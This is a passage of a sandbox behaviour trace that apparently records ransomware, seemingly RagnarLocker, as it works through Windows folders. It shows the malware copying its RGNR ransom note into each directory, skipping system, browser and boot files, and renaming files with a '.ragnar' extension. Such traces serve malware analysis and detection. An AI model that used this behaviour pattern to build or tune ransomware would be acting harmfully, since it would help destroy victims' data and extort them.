Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui")) returned 0x20 [0056.997] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.997] CloseHandle (hObject=0xffffffff) returned 0 [0056.997] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" [0056.997] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui.ragnar_FD7BD9FC" [0056.997] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.997] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.997] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.997] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0056.997] lstrcmpiW (lpString1="lv-LV", lpString2=".") returned 1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="..") returned 1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Windows") returned -1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Windows.old") returned -1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Tor browser") returned -1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Internet Explorer") returned 1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Google") returned 1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Opera") returned -1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Opera Software") returned -1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Mozilla") returned -1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="Mozilla Firefox") returned -1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="$Recycle.Bin") returned 1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="ProgramData") returned -1 [0056.998] lstrcmpiW (lpString1="lv-LV", lpString2="All Users") returned 1 [0056.998] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.998] lstrcpyW (in: lpString1=0x1eb62e, lpString2="lv-LV" | out: lpString1="lv-LV") returned="lv-LV" [0056.998] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\" [0056.998] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\" [0056.998] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\RGNR_FD7BD9FC.txt" [0056.998] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0057.000] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*" [0057.000] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.000] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0057.000] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0057.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0057.000] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0057.000] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.001] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0057.001] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0057.001] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7437fe80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0057.001] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0057.001] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0057.001] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0057.001] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0057.001] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0057.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0057.001] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7437fe80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.001] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7437fe80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7437fe80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0057.001] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.001] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0057.001] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\RGNR_FD7BD9FC.txt") returned=".txt" [0057.001] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0057.001] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0057.001] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0057.001] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0057.001] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned=".mui" [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0057.001] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0057.002] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0057.002] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0057.002] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0057.002] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0057.002] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0057.002] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0057.002] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0057.002] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0057.002] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0057.002] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0057.002] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0057.002] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0057.002] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0057.002] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0057.002] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0057.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui")) returned 0x20 [0057.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0057.002] CloseHandle (hObject=0xffffffff) returned 0 [0057.002] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" [0057.002] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.ragnar_FD7BD9FC" [0057.002] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0057.002] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0057.002] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0057.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0057.003] lstrcmpiW (lpString1="micaut.dll", lpString2=".") returned 1 [0057.003] lstrcmpiW (lpString1="micaut.dll", lpString2="..") returned 1 [0057.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0057.003] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2=".") returned 1 [0057.003] lstrcmpiW (lpString1="Microsoft.Ink.dll", lpString2="..") returned 1 [0057.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0057.003] lstrcmpiW (lpString1="mip.exe", lpString2=".") returned 1 [0057.003] lstrcmpiW (lpString1="mip.exe", lpString2="..") returned 1 [0057.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0057.003] lstrcmpiW (lpString1="mraut.dll", lpString2=".") returned 1 [0057.003] lstrcmpiW (lpString1="mraut.dll", lpString2="..") returned 1 [0057.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0057.003] lstrcmpiW (lpString1="mshwgst.dll", lpString2=".") returned 1 [0057.003] lstrcmpiW (lpString1="mshwgst.dll", lpString2="..") returned 1 [0057.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0057.003] lstrcmpiW (lpString1="mshwLatin.dll", lpString2=".") returned 1 [0057.003] lstrcmpiW (lpString1="mshwLatin.dll", lpString2="..") returned 1 [0057.003] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2=".") returned 1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="..") returned 1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Windows") returned -1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Windows.old") returned -1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Tor browser") returned -1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Internet Explorer") returned 1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Google") returned 1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Opera") returned -1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Opera Software") returned -1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Mozilla") returned 1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="Mozilla Firefox") returned 1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="$Recycle.Bin") returned 1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="ProgramData") returned -1 [0057.003] lstrcmpiW (lpString1="nb-NO", lpString2="All Users") returned 1 [0057.003] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0057.003] lstrcpyW (in: lpString1=0x1eb62e, lpString2="nb-NO" | out: lpString1="nb-NO") returned="nb-NO" [0057.004] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\" [0057.004] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\" [0057.004] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\RGNR_FD7BD9FC.txt" [0057.004] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0057.006] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*" 